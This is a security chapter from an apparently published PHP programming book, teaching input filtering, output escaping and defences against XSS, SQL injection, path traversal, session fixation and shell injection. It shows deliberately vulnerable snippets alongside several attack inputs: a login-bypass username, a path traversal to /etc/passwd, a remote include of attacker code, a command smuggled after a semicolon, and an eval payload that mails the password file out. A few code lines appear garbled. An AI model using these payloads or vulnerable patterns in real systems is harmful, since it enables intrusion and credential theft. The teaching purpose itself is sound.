Chapter 14. Security

PHP is a flexible language with hooks into just about every API offered on the machines on which it runs. Because it was designed to be a forms-processing language for HTML pages, PHP makes it easy to use form data sent to a script. Convenience is a double-edged sword, however. The very features that allow you to quickly write programs in PHP can open doors for those who would break into your systems.

PHP itself is neither secure nor insecure. The security of your web applications is entirely determined by the code you write. For example, if a script opens a file whose name is passed to the script as a form parameter, that script could be given a remote URL, an absolute pathname, or even a relative path, allowing it to open a file outside the site’s document root. This could expose your password file or other sensitive information.

Web application security is still a relatively young and evolving discipline. A single chapter on security cannot sufficiently prepare you for the onslaught of attacks your applications are sure to receive. This chapter takes a pragmatic approach and covers a distilled selection of topics related to security, including how to protect your applications from the most common and dangerous attacks. The chapter concludes with a list of further resources as well as a brief recap with a few additional tips.

Safeguards

Filtering Input

One of the most fundamental things you need to understand when developing a secure site is that all information not generated within the application itself is potentially tainted, or at least suspect. This includes data from forms, files, and databases.

When data is described as being tainted, this doesn’t necessarily mean it’s malicious. It means it might be malicious. You can’t trust the source, so you should inspect it to make sure it’s valid. This inspection process is called filtering, and you only want to allow valid data to enter your application.

There are a few best practices for the filtering process:

  • Use a whitelist approach. This means you err on the side of caution and assume data is invalid unless you can prove it to be valid.

  • Never correct invalid data. History has proven that attempts to correct invalid data often result in security vulnerabilities due to errors.

  • Use a naming convention to help distinguish between filtered and tainted data. Filtering is useless if you can’t reliably determine whether something has been filtered.

In order to solidify these concepts, consider a simple HTML form allowing a user to select among three colors:

<form action="process.php" method="POST">
 <p>Please select a color:

 <select name="color">
 <option value="red">red</option>
 <option value="green">green</option>
 <option value="blue">blue</option>
 </select>

 <input type="submit" /></p>
</form>

It’s easy to appreciate the desire to trust $_POST['color'] in process.php. After all, the form seemingly restricts what a user can enter. However, experienced developers know that HTTP requests have no restriction on the fields they contain—client-side validation is never sufficient by itself. There are numerous ways malicious data can be sent to your application, and your only defense is to trust nothing and filter your input:

$clean = array();

switch($_POST['color']) {
 case 'red':
 case 'green':
 case 'blue':
 $clean['color'] = $_POST['color'];
 break;

 default:
 /* ERROR */
 break;
}

This example demonstrates a simple naming convention. You initialize an array called $clean. For each input field, validate the input and store the validated input in the array. This reduces the likelihood of tainted data being mistaken for filtered data, because you should always err on the side of caution and consider everything not stored in this array to be tainted.

Your filtering logic depends entirely upon the type of data you’re inspecting, and the more restrictive you can be, the better. For example, consider a registration form that asks the user to provide a desired username. Clearly, there are many possible usernames, so the previous example doesn’t help. In these cases, the best approach is to filter based on format. If you want to require a username to be alphanumeric (consisting of only alphabetic and numeric characters), your filtering logic can enforce this:

$clean = array();

if (ctype_alnum($_POST['username'])) {
 $clean['username'] = $_POST['username'];
}
else {
 /* ERROR */
}

Of course, this doesn’t ensure any particular length. Use mb_strlen() to inspect a string’s length and enforce a minimum and maximum:

$clean = array();

$length = mb_strlen($_POST['username']);

if (ctype_alnum($_POST['username']) && ($length > 0) && ($length <= 32)) {
 $clean['username'] = $_POST['username'];
}
else {
 /* ERROR */
}

Frequently, the characters you want to allow don’t all belong to a single group (such as alphanumeric), and this is where regular expressions can help. For example, consider the following filtering logic for a last name:

$clean = array();

if (preg_match("/[^A-Za-z '-]/", $_POST['last_name'])) {
 /* ERROR */
}
else {
 $clean['last_name'] = $_POST['last_name'];
}

This filter allows only alphabetic characters, spaces, hyphens, and single quotes (apostrophes), and it uses a whitelist approach as described earlier. In this case, the whitelist is the list of valid characters.

In general, filtering is a process that ensures the integrity of your data. But while many web application security vulnerabilities can be prevented by filtering, most are due to a failure to escape data, and neither safeguard is a substitute for the other.

Escaping Output Data

Escaping is a technique that preserves data as it enters another context. PHP is frequently used as a bridge between disparate data sources, and when you send data to a remote source, it’s your responsibility to prepare it properly so that it’s not misinterpreted.

For example, O'Reilly is represented as O'Reilly when used in an SQL query to be sent to a MySQL database. The backslash preserves the single quote (apostrophe) in the context of the SQL query. The single quote is part of the data, not part of the query, and the escaping guarantees this interpretation.

The two predominant remote sources to which PHP applications send data are HTTP clients (web browsers) that interpret HTML, JavaScript, and other client-side technologies, and databases that interpret SQL. For the former, PHP provides htmlentities():

$html = array();
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";

This example demonstrates the use of another naming convention. The $html array is similar to the $clean array, except that its purpose is to hold data that is safe to be used in the context of HTML.

URLs are sometimes embedded in HTML as links:

<a href="http://host/script.php?var={$value}">Click Here</a>

In this particular example, $value exists within nested contexts. It’s within the query string of a URL that is embedded in HTML as a link. Because it’s alphabetic in this case, it’s safe to be used in both contexts. However, when the value of $var cannot be guaranteed to be safe in these contexts, it must be escaped twice:

$url = array(
 'value' => urlencode($value),
);

$link = "http://host/script.php?var={$url['value']}";

$html = array(
 'link' => htmlentities($link, ENT_QUOTES, "UTF-8"),
);

echo "<a href="{$html['link']}">Click Here</a>";

This ensures that the link is safe to be used in the context of HTML, and when it is used as a URL (such as when the user clicks the link), the URL encoding ensures that the value of $var is preserved.

For most databases, there is a native escaping function specific to the database. For example, the MySQL extension provides mysqli_real_escape_string():

$mysql = array(
 'username' => mysqli_real_escape_string($clean['username']),
);

$sql = "SELECT * FROM profile
 WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);

An even safer alternative is to use a database abstraction library that handles the escaping for you. The following illustrates this concept with PEAR::DB:

$sql = "INSERT INTO users (last_name) VALUES (?)";

$db->query($sql, array($clean['last_name']));

Although this is not a complete example, it highlights the use of a placeholder (the question mark) in the SQL query. PEAR::DB properly quotes and escapes the data according to the requirements of your database. Take a look at Chapter 9 for more in-depth coverage of placeholder techniques.

A more complete output-escaping solution would include context-aware escaping for HTML elements, HTML attributes, JavaScript, CSS, and URL content, and would do so in a Unicode-safe manner. Example 14-1 shows a sample class for escaping output in a variety of contexts, based on the content-escaping rules (http://bit.ly/RtzyNg) defined by the Open Web Application Security Project.

Example 14-1. Escaping output for multiple contexts
class Encoder
{
 const ENCODE_STYLE_HTML = 0;
 const ENCODE_STYLE_JAVASCRIPT = 1;
 const ENCODE_STYLE_CSS = 2;
 const ENCODE_STYLE_URL = 3;
 const ENCODE_STYLE_URL_SPECIAL = 4;

 private static $URL_UNRESERVED_CHARS =
 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz-_.~';

 public function encodeForHTML($value) {
 $value = str_replace('&', '&amp;', $value);
 $value = str_replace('<', '&lt;', $value);
 $value = str_replace('>', '&gt;', $value);
 $value = str_replace('"', '&quot;', $value);
 $value = str_replace(''', '&#x27;', $value); // &apos; is not recommended
 $value = str_replace('/', '&#x2F;', $value); // forward slash can help end HTML entity

 return $value;
 }

 public function encodeForHTMLAttribute($value) {
 return $this->_encodeString($value);
 }

 public function encodeForJavascript($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_JAVASCRIPT);
 }

 public function encodeForURL($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_URL_SPECIAL);
 }

 public function encodeForCSS($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_CSS);
 }

 /**
 * Encodes any special characters in the path portion of the URL. Does not
 * modify the forward slash used to denote directories. If your directory
 * names contain slashes (rare), use the plain urlencode on each directory
 * component and then join them together with a forward slash.
 *
 * Based on http://en.wikipedia.org/wiki/Percent-encoding and
 * http://tools.ietf.org/html/rfc3986
 */
 public function encodeURLPath($value) {
 $length = mb_strlen($value);

 if ($length == 0) {
 return $value;
 }

 $output = '';

 for ($i = 0; $i < $length; $i++) {
 $char = mb_substr($value, $i, 1);

 if ($char == '/') {
 // Slashes are allowed in paths.
 $output .= $char;
 }
 else if (mb_strpos(self::$URL_UNRESERVED_CHARS, $char) == false) {
 // It's not in the unreserved list so it needs to be encoded.
 $output .= $this->_encodeCharacter($char, self::ENCODE_STYLE_URL);
 }
 else {
 // It's in the unreserved list so let it through.
 $output .= $char;
 }
 }

 return $output;
 }

 private function _encodeString($value, $style = self::ENCODE_STYLE_HTML) {
 if (mb_strlen($value) == 0) {
 return $value;
 }

 $characters = preg_split('/(?<!^)(?!$)/u', $value);
 $output = '';

 foreach ($characters as $c) {
 $output .= $this->_encodeCharacter($c, $style);
 }

 return $output;
 }

 private function _encodeCharacter($c, $style = self::ENCODE_STYLE_HTML) {
 if (ctype_alnum($c)) {
 return $c;
 }

 if (($style === self::ENCODE_STYLE_URL_SPECIAL) && ($c == '/' || $c == ':')) {
 return $c;
 }

 $charCode = $this->_unicodeOrdinal($c);

 $prefixes = array(
 self::ENCODE_STYLE_HTML => array('&#x', '&#x'),
 self::ENCODE_STYLE_JAVASCRIPT => array('\x', '\u'),
 self::ENCODE_STYLE_CSS => array('', ''),
 self::ENCODE_STYLE_URL => array('%', '%'),
 self::ENCODE_STYLE_URL_SPECIAL => array('%', '%'),
 );

 $suffixes = array(
 self::ENCODE_STYLE_HTML => ';',
 self::ENCODE_STYLE_JAVASCRIPT => '',
 self::ENCODE_STYLE_CSS => '',
 self::ENCODE_STYLE_URL => '',
 self::ENCODE_STYLE_URL_SPECIAL => '',
 );

 // if ASCII, encode with \xHH
 if ($charCode < 256) {
 $prefix = $prefixes[$style][0];
 $suffix = $suffixes[$style];

 return $prefix . str_pad(strtoupper(dechex($charCode)), 2, '0') . $suffix;
 }

 // otherwise encode with \uHHHH
 $prefix = $prefixes[$style][1];
 $suffix = $suffixes[$style];

 return $prefix . str_pad(strtoupper(dechex($charCode)), 4, '0') . $suffix;
 }

 private function _unicodeOrdinal($u) {
 $c = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
 $c1 = ord(substr($c, 0, 1));
 $c2 = ord(substr($c, 1, 1));

 return $c2 * 256 + $c1;
 }
}

Security Vulnerabilities

Now that we’ve explored the two primary safeguarding approaches, let’s turn to some of the common security vulnerabilities they seek to address.

Cross-Site Scripting

Cross-site scripting (XSS) has become the most common web application security vulnerability, and with the rising popularity of Ajax technologies, XSS attacks are likely to become more advanced and to occur more frequently.

The term cross-site scripting derives from an old exploit and is no longer very descriptive or accurate for most modern attacks, and this has caused some confusion. Simply put, your code is vulnerable whenever you output data not properly escaped to the output’s context. For example:

echo $_POST['username'];

This is an extreme example, because $_POST is obviously neither filtered nor escaped, but it demonstrates the vulnerability.

XSS attacks are limited to only what is possible with client-side technologies. Historically, XSS has been used to capture a victim’s cookies by taking advantage of the fact that document.cookie contains this information.

In order to prevent XSS, you simply need to properly escape your output for the output context:

$html = array(
 'username' => htmlentities($_POST['username'], ENT_QUOTES, "UTF-8"),
);

echo $html['username'];

You should also always filter your input, which can offer a redundant safeguard in some cases (implementing redundant safeguards adheres to a security principle known as Defense in Depth). For example, if you inspect a username to ensure that it’s alphabetic and also only output the filtered username, no XSS vulnerability exists. Just be sure that you don’t depend upon filtering as your primary safeguard against XSS, because it doesn’t address the root cause of the problem.

SQL Injection

The second most common web application vulnerability is SQL injection, an attack very similar to XSS. The difference is that SQL injection vulnerabilities exist wherever you use unescaped data in an SQL query. (If these names were more consistent, XSS would probably be called “HTML injection.”)

The following example demonstrates an SQL injection vulnerability:

$hash = hash($_POST['password']);

$sql = "SELECT count(*) FROM users
 WHERE username = '{$_POST['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

The problem is that if the username is not escaped, its value can manipulate the format of the SQL query. Because this particular vulnerability is so common, many attackers try usernames such as the following when trying to log in to a target site:

chris' --

Attackers love this username, because it allows access to the account with the username chris' without them having to know that account’s password. After interpolation, the SQL query becomes:

SELECT count(*)
FROM users
WHERE username = 'chris' --'
AND password = '...'";

Because two consecutive hyphens (--) indicate the beginning of an SQL comment, this query is identical to:

SELECT count(*)
FROM users
WHERE username = 'chris'

If the code containing this snippet of code assumes a successful login when $result is nonzero, this SQL injection would allow an attacker to log in to any account without having to know or guess the password.

Safeguarding your applications against SQL injection is primarily accomplished by escaping output:

$mysql = array();

$hash = hash($_POST['password']);
$mysql['username'] = mysql_real_escape_string($clean['username']);

$sql = "SELECT count(*) FROM users
 WHERE username = '{$mysql['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

However, this only ensures that the data you escape is interpreted as data. You still need to filter data, because characters like the percent sign (%) have a special meaning in SQL but don’t need to be escaped.

The best protection against SQL injection is the use of bound parameters. The following example demonstrates the use of bound parameters with PHP’s PDO extension and an Oracle database:

$sql = $db->prepare("SELECT count(*) FROM users
 WHERE username = :username AND password = :hash");

$sql->bindParam(":username", $clean['username'], PDO::PARAM_STRING, 32);
$sql->bindParam(":hash", hash($_POST['password']), PDO::PARAM_STRING, 32);

Because bound parameters ensure that the data never enters a context where it can be considered anything but data (i.e., it’s never misinterpreted), no escaping of the username and password is necessary.

Filename Vulnerabilities

It’s fairly easy to construct a filename that refers to something other than what you intended. For example, say you have a $username variable that contains the name the user wants to be called, which the user has specified through a form field. Now let’s say you want to store a welcome message for each user in the directory /usr/local/lib/greetings so that you can output the message any time the user logs in to your application. The code to print the current user’s greeting is:

include("/usr/local/lib/greetings/{$username}");

This seems harmless enough, but what if the user chose the username "../../../../etc/passwd"? The code to include the greeting now includes this relative path instead: /etc/passwd. Relative paths are a common trick used by hackers against unsuspecting scripts.

Another trap for the unwary programmer lies in the way that, by default, PHP can open remote files with the same functions that open local files. The fopen() function and anything that uses it—such as include() and require()—can be passed an HTTP or FTP URL as a filename, and the document identified by the URL will be opened. For example:

chdir("/usr/local/lib/greetings");
$fp = fopen($username, 'r');

If $username is set to https://www.example.com/myfile, a remote file is opened, not a local one.

The situation is even worse if you let the user tell you which file to include():

$file = $_REQUEST['theme'];
include($file);

If the user passes a theme parameter of https://www.example.com/badcode.inc and your variables_order includes GET or POST, your PHP script will happily load and run the remote code. Never use parameters as filenames like this.

There are several solutions to the problem of checking filenames. You can disable remote file access, check filenames with realpath() and basename() (as described next), and use the open_basedir option to restrict filesystem access outside your site’s document root.

Check for relative paths

When you need to allow the user to specify a filename in your application, you can use a combination of the realpath() and basename() functions to ensure that the filename is what it ought to be. The realpath() function resolves special markers (such as . and ..). After a call to realpath(), the resulting path is a full path on which you can then use basename(). The basename() function returns just the filename portion of the path.

Going back to our welcome message scenario, here’s an example of realpath() and basename() in action:

$filename = $_POST['username'];
$vetted = basename(realpath($filename));

if ($filename !== $vetted) {
 die("{$filename} is not a good username");
}

In this case, we’ve resolved $filename to its full path and then extracted just the filename. If this value doesn’t match the original value of $filename, we’ve got a bad filename that we don’t want to use.

Once you have the completely bare filename, you can reconstruct what the file path ought to be, based on where legal files should go, and add a file extension based on the actual contents of the file:

include("/usr/local/lib/greetings/{$filename}");

Session Fixation

A very popular attack that targets sessions is session fixation. The primary reason behind its popularity is that it’s the easiest method by which an attacker can obtain a valid session identifier. As such, it is intended as a stepping-stone to a session hijacking attack, in which an attacker impersonates a user by presenting the user’s session identifier.

Session fixation is any approach that causes a victim to use a session identifier chosen by an attacker. The simplest example is a link with an embedded session identifier:

<a href="http://host/login.php?PHPSESSID=1234">Log In</a>

A victim who clicks this link will resume the session identified as 1234, and if the victim proceeds to log in, the attacker can hijack the victim’s session to escalate the level of privilege.

There are a few variants of this attack, including some that use cookies for this same purpose. Luckily, the safeguard is simple, straightforward, and consistent. Whenever there is a change in the level of privilege, such as when a user logs in, regenerate the session identifier with session_regenerate_id():

if (check_auth($_POST['username'], $_POST['password'])) {
 $_SESSION['auth'] = TRUE; 
 session_regenerate_id(TRUE);
}

This effectively prevents session fixation attacks by ensuring that any user who logs in (or otherwise escalates the privilege level in any way) is assigned a fresh, random session identifier.

File Upload Traps

File uploads combine two dangers we’ve already discussed: user-modifiable data and the filesystem. While PHP 7 itself is secure in how it handles uploaded files, there are several potential traps for unwary programmers.

Distrust browser-supplied filenames

Be careful using the filename sent by the browser. If possible, do not use it as the name of the file on your filesystem. It’s easy to make the browser send a file identified as /etc/passwd or /home/kevin/.forward. You can use the browser-supplied name for all user interaction, but generate a unique name yourself to actually call the file. For example:

$browserName = $_FILES['image']['name'];
$tempName = $_FILES['image']['tmp_name'];

echo "Thanks for sending me {$browserName}.";

$counter++; // persistent variable
$filename = "image_{$counter}";

if (is_uploaded_file($tempName)) {
 move_uploaded_file($tempName, "/web/images/{$filename}");
}
else {
 die("There was a problem processing the file.");
}

Beware of filling your filesystem

Another trap is the size of uploaded files. Although you can tell the browser the maximum size of file to upload, this is only a recommendation and does not ensure your script won’t be handed a file of a larger size. Attackers can perform a denial-of-service attack by sending files large enough to fill up your server’s filesystem.

Set the post_max_size configuration option in php.ini to the maximum size (in bytes) that you want:

post_max_size = 1024768; // one megabyte

PHP will ignore requests with data payloads larger than this size. The default 10 MB is probably larger than most sites require.

Account for EGPCS settings

The default variables_order (EGPCS: environment, GET, POST, cookie, server) processes GET and POST parameters before cookies. This makes it possible for the user to send a cookie that overwrites the global variable you think contains information on your uploaded file. To avoid being tricked like this, check that the given file was actually an uploaded file using the is_uploaded_file() function. For example:

$uploadFilepath = $_FILES['uploaded']['tmp_name'];

if (is_uploaded_file($uploadFilepath)) {
 $fp = fopen($uploadFilepath, 'r');

 if ($fp) {
 $text = fread($fp, filesize($uploadFilepath));
 fclose($fp);

 // do something with the file's contents
 }
}

PHP provides a move_uploaded_file() function that moves the file only if it was an uploaded file. This is preferable to moving the file directly with a system-level function or PHP’s copy() function. For example, the following code cannot be fooled by cookies:

move_uploaded_file($_REQUEST['file'], "/new/name.txt");

Unauthorized File Access

If only you and people you trust can log in to your web server, you don’t need to worry about file permissions for files used by or created by your PHP programs. However, most websites are hosted on an ISP’s machines, and there’s a risk that nontrusted users can read files that your PHP program creates. There are a number of techniques that you can use to deal with file permissions issues.

Restrict filesystem access to a specific directory

You can set the open_basedir option to restrict access from your PHP scripts to a specific directory. If open_basedir is set in your php.ini, PHP limits filesystem and I/O functions so that they can operate only within that directory or any of its subdirectories. For example:

open_basedir = /some/path

With this configuration in effect, the following function calls succeed:

unlink("/some/path/unwanted.exe");
include("/some/path/less/travelled.inc");

But these generate runtime errors:

$fp = fopen("/some/other/file.exe", 'r');
$dp = opendir("/some/path/../other/file.exe");

Of course, one web server can run many applications, and each application typically stores files in its own directory. You can configure open_basedir on a per-virtual-host basis in your httpd.conf file like this:

<VirtualHost 1.2.3.4>
 ServerName domainA.com
 DocumentRoot /web/sites/domainA
 php_admin_value open_basedir /web/sites/domainA
</VirtualHost>

Similarly, you can configure it per directory or per URL in httpd.conf:

# by directory
<Directory /home/httpd/html/app1>
 php_admin_value open_basedir /home/httpd/html/app1
</Directory>

# by URL
<Location /app2>
 php_admin_value open_basedir /home/httpd/html/app2
</Location>

The open_basedir directory can be set only in the httpd.conf file, not in .htaccess files, and you must use php_admin_value to set it.

Get permissions right the first time

Do not create a file and then change its permissions. This creates a race condition, where a lucky user can open the file once it’s created but before it’s locked down. Instead, use the umask() function to strip off unnecessary permissions. For example:

umask(077); // disable ---rwxrwx
$fh = fopen("/tmp/myfile", 'w');

By default, the fopen() function attempts to create a file with permission 0666 (rw-rw-rw-). Calling umask() first disables the group and other bits, leaving only 0600 (rw-------). Now, when fopen() is called, the file is created with those permissions.

Don’t use files

Because all scripts running on a machine run as the same user, a file that one script creates can be read by another, regardless of which user wrote the script. All a script needs to know to read a file is the name of that file.

There is no way to change this, so the best solution is to not use files to store data that should be protected; the most secure place to store data is in a database.

A complex workaround is to run a separate Apache daemon for each user. If you add a reverse proxy such as haproxy in front of the pool of Apache instances, you may be able to serve 100+ users on a single machine. Few sites do this, however, because the complexity and cost are much greater than those for the typical situation, where one Apache daemon can serve web pages for thousands of users.

Protect session files

With PHP’s built-in session support, session information is stored in files. Each file is named /tmp/sess_id, where id is the name of the session and is owned by the web server user ID, usually nobody.

Because all PHP scripts run as the same user through the web server, this means that any PHP script hosted on a server can read any session files for any other PHP site. In situations where your PHP code is stored on an ISP’s server that is shared with other users’ PHP scripts, variables you store in your sessions are visible to other PHP scripts.

Even worse, other users on the server can create files in the session directory /tmp. There’s nothing preventing attackers from creating a fake session file that has any variables and values they want in it. They can then have the browser send your script a cookie containing the name of the faked session, and your script will happily load the variables stored in the fake session file.

One workaround is to ask your service provider to configure their server to place your session files in your own directory. Typically, this means that your VirtualHost block in the Apache httpd.conf file will contain:

php_value session.save_path /some/path

If you have .htaccess capabilities on your server and Apache is configured to let you override options, you can make the change yourself.

Conceal PHP libraries

Many a hacker has learned of weaknesses by downloading include files or data that is stored alongside HTML and PHP files in the web server’s document root. To prevent this from happening to you, all you need to do is store code libraries and data outside the server’s document root.

For example, if the document root is /home/httpd/html, everything below that directory can be downloaded through a URL. It is a simple matter to put your library code, configuration files, logfiles, and other data outside that directory (e.g., in /usr/local/lib/myapp). This doesn’t prevent other users on the web server from accessing those files (see “Don’t use files”), but it does prevent the files from being downloaded by remote users.

If you must store these auxiliary files in your document root, you should configure the web server to deny requests for those files. For example, this tells Apache to deny requests for any file with the .inc extension, a common extension for PHP include files:

<Files ~ ".inc$">
 Order allow,deny
 Deny from all
</Files>

A better and more preferred way to prevent downloading of PHP source files is to always use the .php extension.

If you store code libraries in a different directory from the PHP pages that use them, you’ll need to tell PHP where the libraries are. Either give a path to the code in each include() or require(), or change include_path in php.ini:

include_path = ".:/usr/local/php:/usr/local/lib/myapp";

PHP Code Issues

With the eval() function, PHP allows a script to execute arbitrary PHP code. Although it can be useful in a few limited cases, allowing any user-supplied data to go into an eval() call is just begging to be hacked. For instance, the following code is a security nightmare:

<html>
 <head>
 <title>Here are the keys...</title>
 </head>

 <body>
 <?php if ($_REQUEST['code']) {
 echo "Executing code...";

 eval(stripslashes($_REQUEST['code'])); // BAD!
 } ?>

 <form action="<?php echo $_SERVER['PHP_SELF']; ?>">
 <input type="text" name="code" />
 <input type="submit" name="Execute Code" />
 </form>
 </body>
</html>

This page takes some arbitrary PHP code from a form and runs it as part of the script. The running code has access to all of the global variables for, and runs with the same privileges as, the script. It’s not hard to see why this is a problem. Type this into the form:

include("/etc/passwd");

Never do this. There is no practical way to ensure such a script can ever be secure.

You can globally disable particular function calls by listing them, separated by commas, in the disable_functions configuration option in php.ini. For example, you may never have need for the system() function, so you can disable it entirely with:

disable_functions = system

This doesn’t make eval() any safer, though, as there’s no way to prevent important variables from being changed or built-in constructs such as echo() from being called.

In the case of include, require, include_once, and require_once, your best bet is to turn off remote file access using allow_url_fopen.

Any use of eval() and the /e option with preg_replace() is dangerous, especially if you use any user-entered data in the calls. Consider the following:

eval("2 + {$userInput}");

It seems pretty innocuous. However, suppose the user enters the following value:

2; mail("[email protected]", "Some passwords", "/bin/cat /etc/passwd");

In this case, both the expected command and the one you’d rather avoid will be executed. The only viable solution is to never give user-supplied data to eval().

Shell Command Weaknesses

Be very wary of using the exec(), system(), passthru(), and popen() functions and the backtick operator (`) in your code. The shell is a problem because it recognizes special characters (e.g., semicolons to separate commands). For example, suppose your script contains this line:

system("ls {$directory}");

If the user passes the value "/tmp;cat /etc/passwd" as the $directory parameter, your password file is displayed because system() executes the following command:

ls /tmp;cat /etc/passwd

In cases where you must pass user-supplied arguments to a shell command, use escapeshellarg() on the string to escape any sequences that have special meaning to shells:

$cleanedArg = escapeshellarg($directory);
system("ls {$cleanedArg}");

Now, if the user passes "/tmp;cat /etc/passwd", the command that’s actually run is:

ls '/tmp;cat /etc/passwd'

The easiest way to avoid the shell is to do the work of whatever program you’re trying to call in PHP code, rather than calling out to the shell. Built-in functions are likely to be more secure than anything involving the shell.

Data Encryption Concerns

One last topic to cover is encrypting data that you want to ensure is not viewable in its native form. This mostly applies to website passwords, but there are other examples, such as Social Security numbers (Social Insurance numbers in Canada), credit card numbers, and bank account numbers.

Check out the discussion on the FAQ page of the PHP website (https://www.php.net/manual/en/faq.passwords.php) to find the best approach for your specific data encryption needs.

Further Resources

The following resources can help you expand on this brief introduction to code security:

Security Recap

Because security is such an important issue, we want to reiterate the main points of this chapter as well as provide a few additional tips:

  • Filter input to be sure that all data you receive from remote sources is the data you expect. Remember, the stricter your filtering logic, the safer your application.

  • Escape output in a context-aware manner to be sure that your data isn’t misinterpreted by a remote system.

  • Always initialize your variables. This is especially important when the register_globals directive is enabled.

  • Disable register_globals, magic_quotes_gpc, and allow_url_fopen. See the PHP website (http://www.php.net) for details on these directives.

  • Whenever you construct a filename, check the components with basename() and realpath().

  • Store include files outside of the document root. It is better to not name your include files with the .inc extension. Name them with a .php extension, or some other less obvious extension.

  • Always call session_regenerate_id() whenever a user’s privilege level changes.

  • Whenever you construct a filename from a user-supplied component, check the components with basename() and realpath().

  • Don’t create a file and then change its permissions. Instead, set umask() so that the file is created with the correct permissions.

  • Don’t use user-supplied data with eval(), preg_replace() with the /e option, or any of the system commands—exec(), system(), popen(), passthru(), and the backtick operator (`).

What’s Next

With potential vulnerabilities like these, you might be wondering why you should do this “web development thing” at all. There are almost daily reports of web security breaches at banks and investment houses with massive data loss and identity theft. At the very least, if you are going to become a good web developer you must always embrace security and keep in mind that it is a changing landscape. Don’t ever assume that you are 100% secure.

Coming in the next chapter is a discussion on application development techniques. This is another area where web developers can really shine and save themselves a lot of headaches. The use of code libraries, error handling, and performance tuning are among the topics we’ll cover.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.145.111.125